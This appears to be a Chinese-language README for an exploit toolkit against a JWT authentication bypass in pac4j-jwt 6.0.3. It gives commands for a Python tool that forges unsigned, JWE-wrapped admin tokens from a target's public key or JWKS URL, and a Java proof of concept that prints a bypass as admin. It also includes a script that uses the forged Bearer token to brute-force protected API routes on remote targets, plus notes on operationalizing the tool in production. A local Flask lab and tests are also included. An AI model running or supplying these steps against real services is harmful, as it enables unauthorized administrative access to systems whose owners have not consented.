完整构建:writeup、Java 进程内 PoC、Python 令牌伪造 CLI 和库、测试。
有关详细信息和 PoC 要求,请参阅 WRITEUP.md。
| 路径 | 描述 |
|---|---|
WRITEUP.md | CVE 摘要、根本原因、受影响版本、PoC 要求、参考资料 |
RECON.md | 要放入的内容(声明发现、应用特定声明)以及提交位置(请求头、Cookie、查找受保护端点) |
OPERATIONALIZATION.md | 生产环境运行所需内容: 打包、配置、安全性、自动化、可观测性、维护 |
scripts/kr_scan.py | 伪造令牌并使用 Authorization: Bearer 运行 kiterunner(~/bin/kr)以暴力破解/扫描受保护的 API 路由 |
examples/ | 示例脚本:forge_and_curl.sh、forge_and_kr.sh |
lab/ | Flask 实验应用(JWE 端点 + JWKS),用于测试令牌伪造 |
poc/ | Java Maven PoC(针对 pac4j-jwt 6.0.3 的进程内绕过) |
token_forge/ | Python 包:从 PEM 或 JWKS URL 伪造 JWE 包装的 PlainJWT |
tests/ | 针对声明、伪造、密钥、CLI 的 Pytest 测试 |
requirements.txt | Python 依赖(jwcrypto、requests、pytest) |
python3 -m venv .venv
source .venv/bin/activate # 或 Windows 上使用 .venv\Scripts\activate
pip install -r requirements.txt
# 从 PEM 生成(使用:openssl genrsa 2048 | openssl rsa -pubout)
python -m token_forge --public-key /path/to/pub.pem --subject admin --roles "ROLE_ADMIN,ROLE_USER"
# 从 JWKS URL
python -m token_forge --jwks-url https://target/.well-known/jwks.json --subject admin
# 额外声明(用于应用特定发现):--claim [email protected] --claim key=value
# 选项:--exp-sec、--jwks-kid、--log-file、--enable-file-logging、--verbose
输出:单行(伪造的 JWT);用作 Authorization: Bearer <token>。
需要 ~/bin/kr 中的 kr。伪造令牌并使用 Bearer 身份验证运行 kr brute(或 kr scan)以发现受保护的路由:
python scripts/kr_scan.py https://target.com --jwks-url https://target.com/.well-known/jwks.json
python scripts/kr_scan.py https://target.com --public-key pub.pem -w paths.txt -o json --dry-run
有关选项(--subject、--roles、--claim、-A、--scan 等),请参阅 RECON.md 第 4 节。
from token_forge import forge_token, load_public_key_from_pem, load_public_key_from_jwks_url
with open("pub.pem", "rb") as f:
key = load_public_key_from_pem(f.read())
token = forge_token(key, subject="admin", roles=["ROLE_ADMIN"], exp_sec=3600)
pytest -vv --tb=short --maxfail=1
# 或将警告视为错误:
pytest -vv -W error -W always --tb=short --maxfail=1
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# 或仅生成令牌(不进行进程内验证):
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
# 使用自定义 subject/roles:
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--subject user --roles ROLE_A,ROLE_B"
预期输出:进程内运行时显示 [BYPASS] Authenticated as: admin#override 和角色。
pytest -vv --cov=token_forge --cov-report=term-missing
pytest -vv --cov=token_forge --cov-report=html # 然后打开 htmlcov/index.html
docker build -t cve-2026-29000 .
docker run --rm cve-2026-29000 pytest -vv --cov=token_forge --cov-report=term-missing
接受 JWE 并返回声明的 Flask 应用(用于测试伪造 + curl/kr)。
docker compose up -d lab
TOKEN=$(python -m token_forge --jwks-url http://localhost:8080/.well-known/jwks.json 2>/dev/null)
curl -H "Authorization: Bearer $TOKEN" http://localhost:8080/api/me
请参阅 lab/README.md。